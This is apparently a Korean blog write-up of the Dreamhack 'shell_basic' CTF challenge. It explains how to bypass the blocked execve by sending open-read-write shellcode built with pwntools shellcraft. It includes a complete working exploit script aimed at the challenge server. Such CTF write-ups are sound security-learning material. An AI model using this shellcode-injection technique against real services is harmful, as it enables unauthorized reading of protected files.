Security/Pwnable

[Dreamhack] shell_basic

SpruceMoon 2026. 3. 16. 21:31

이전 문제와 마찬가지로 풀었는데 풀이를 작성하려니 토큰이 없어서 캡처를 못 하게 되어버렸다..;

예전엔 토큰 없었던 것 같은데 앞으론 신중하게 풀어야겠다.. 나는 돈이 없으니까 🫠

 

문제의 다른 함수들은 execve, execveat 시스템 콜을 막는 함수이므로 main() 함수만 보면 된다.

main() 함수

접속해서 nc 주소 포트번호 를 입력하면 shellcod: 라는 문구가 출력되고 입력을 기다리고 있는 것을 알 수 있다.

일반적으로는 쉘 획득할 때 execve 시스템 콜을 많이 쓰지만 여기서는 제한시켜두었으므로 다른 방법을 사용해야 한다.

 

사실 처음엔 그냥 cat > flag_name_is_loooooong 하려고 했는데 안 됐다... 그리고 타자가 느려서 제한시간 안에 다 칠 수도 없다!!

 

드림핵 페이지에 친절하게도 예시가 나와 있다. 직접 쉘을 따는 대신에 ORW 쉘코드를 작성해 플래그 값을 획득하는 것이 이 문제의 출제 의도인 것 같다.

참고 라는 글자에 하이퍼링크가 걸려있는데, 들어가면 관련 설명들이 나와 있다.

 

c언어 로직으로 만들면,

int fd = open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);

이렇게 되는데 쉘코드로 만들려면 

 

최종적으로 익스플로잇 코드를 작성하면 다음과 같다.

from pwn import *

p = remote("host8.dreamhack.games", 포트번호) 
context.arch = "amd64" 
path = "/home/shell_basic/flag_name_is_loooooong"

shellcode = shellcraft.open(path) 
shellcode += shellcraft.read('rax', 'rsp', 0x30)
shellcode += shellcraft.write(1, 'rsp', 0x30)

payload = asm(shellcode)

p.sendlineafter("shellcode: ", payload)
print(p.recv(0x30))

shellcraft.open(path)를 호출하면 파일이 열리고, 여기에서 fd는 rax 레지스터에 저장이 된다.

이후에 shellcraft.read('rax', 'rsp', 0x30)을 통해 rax에 담긴 파일에서 0x30 바이트만큼 스택(rsp)으로 값을 읽어올 수 있다.

여기서 shellcraft.write(1, 'rsp', 0x30)으로 스택에 저장된 값을 출력한다.

asm() 함수로 이 쉘코드를 실제 기계어로 변환해서 실행하면 플래그가 나오는 방식이다.

 

이후에 리눅스에서 python3 test.py 로 실행하면, 서버와의 통신이 이루어지고 성공적으로 플래그 값이 출력된다!

 

어셈블리를 직접 짜보는 경험이 필요할 것 같긴 했지만... 귀찮아서 이걸 어떻게 피할 수 있는 방법이 없나 검색하다가 pwn 모듈의 shellcraft라는 걸 발견했고 이걸 써보기로 했다.

처음 써보는 거라 조금 어려웠지만 꽤 좋은 선택이었다... C보다 파이썬이 모듈이 많고 쓰기 편한 점은 참 좋은 것 같다.

'Security > Pwnable' 카테고리의 다른 글

[Dreamhack] Return Address Overwrite  (0) 2026.03.30
[Dreamhack] bof  (0) 2026.03.30
[Dreamhack] Basic_exploitation_001  (0) 2026.03.30
[Dreamhack] baby-bof  (0) 2026.03.16
[Dreamhack] welcome  (0) 2026.03.16